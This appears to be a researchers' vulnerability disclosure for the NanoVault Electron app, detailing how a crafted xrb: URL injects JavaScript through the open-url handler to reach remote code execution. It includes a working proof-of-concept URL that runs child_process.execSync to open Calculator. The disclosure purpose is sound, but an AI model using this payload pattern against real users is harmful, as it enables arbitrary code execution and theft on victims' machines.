We discovered a one-click remote code execution vulnerability in the latest version (v1.2.1) of the NanoVault app. An attacker can exploit this vulnerability by embedding a specially crafted xrb: URL on any website, including a malicious one they control. When a victim visits such a site or clicks on the link, the browser triggers the app’s custom URL handler (xrb:), causing the NanoVault application to launch and process the URL, leading to remote code execution on the victim’s machine.
XSS in the Renderer Process
NanoVault handles custom URL protocol events using the following logic, where an attacker-controlled URL is concatenated into a JavaScript context and executed in the renderer process via executeJavaScript:
https://github.com/cronoh/nanovault/blob/3ce46fdfb0a4bc6226d43171ae9171b192ba4ad2/main.js#L63C1-L74C6
app.on('open-url', (event, path) => {
if (!mainWindow) {
createWindow();
}
if (!mainWindow.webContents.isLoading()) {
mainWindow.webContents.executeJavaScript(`window.dispatchEvent(new CustomEvent('protocol-load', { detail: '${path}' }));`);
}
mainWindow.webContents.once('did-finish-load', () => {
mainWindow.webContents.executeJavaScript(`window.dispatchEvent(new CustomEvent('protocol-load', { detail: '${path}' }));`);
});
event.preventDefault();
});Exploit
Although the data flow appears straightforward, successful exploitation is non-trivial due to context-specific escaping and URL parsing constraints. The injected payload must meet two critical conditions:
- Valid URL Format: The payload must be a syntactically valid URL so the browser will invoke the Electron app. Invalid URLs are not dispatched via the custom protocol handler.
- Context-Compatible Execution After URL Encoding: When the payload is embedded in the JavaScript template (within single quotes), it must form syntactically valid JavaScript after browser’s automatic URL encoding.
To verify the first condition, one can test it with new URL(payload) in JavaScript. If no error is thrown, the browser will likely accept it.
Regarding the second condition, we need to first understand the browser encoding mechanism and find the way to escape the context with respect to it.
Browser URL Encoding Mechanism
Most characters are URL-encoded by the browser, except for a subset: ! - _ . ~ * ' ( ) ; : @ & = + $ , / ? % # [ ], according to Google's documentation. However, encoding behavior also depends on URL segments. For example, the same character may be encoded in query strings but not in the domain.
For example, the following URL passed via the browser becomes encoded when received in Electron (’[] are all encoded.)
// Input to browser:
abc://test.com/?x=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'-_.~!*$'();:@&= ,/?#[]{}"<>`|\
// Received in Electron:
abc://test.com/?x=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%27-_.~!*$%27();:@&=%20,/?#%5B%5D%7B%7D%22%3C%3E%60%7C%5C
However, if ' appears in the domain part, it is preserved:
// Input:
abc://test'.com
// Received:
abc://test'.com
This observation enables us to inject a ' into the JavaScript context, effectively closing the prior string literal.
Bypassing the Syntax Constraints
The next challenge is crafting a payload that remains valid JavaScript after encoding and within the dict syntax.
Some seemingly straightforward payloads like ',a:alert(),', which generate invalid JavaScript such as { detail: '',a:alert(),'' }, fail because the extra comma makes the URL invalid and prevents the browser from invoking the Electron application.
After I a few probing, I found that the - would be used as minus (binOp) a string to make our payload executed with the left empty string!!
xbr:a',m:alert()-' # PayloadIn context, this becomes:
window.dispatchEvent(new CustomEvent('protocol-load', { detail: 'xbr:a',m:alert()-'' }));XSS to RCE
Since the window is created with nodeIntegration: true and contextIsolation: false, an XSS in the renderer process directly leads to arbitrary code execution (RCE).
Video PoC can be found at: https://drive.google.com/file/d/1Hil-UQiLweGe9q1aCiiyQoiW9wOJsY7-/view?usp=drive_link
- In your browser, navigate to the following custom URL and click “Open NanoVault” in the popup:
xrb:a',m:require('child_process').execSync('open'+String.fromCharCode(32)+'/System/Applications/Calculator.app/Contents/MacOS/Calculator')-'- Check whether the Calculator will be popped out.
Any user that clicked on the custom url and invoke the nanovault application would lead to RCE. The attack works just like a typical reflected or DOM-based XSS, however, it leads to a much more severe consequence by allowing code execution on the victim’s machine.
Zhengyu Liu (jackfromeast), Jianjia Yu (suuuuuzy)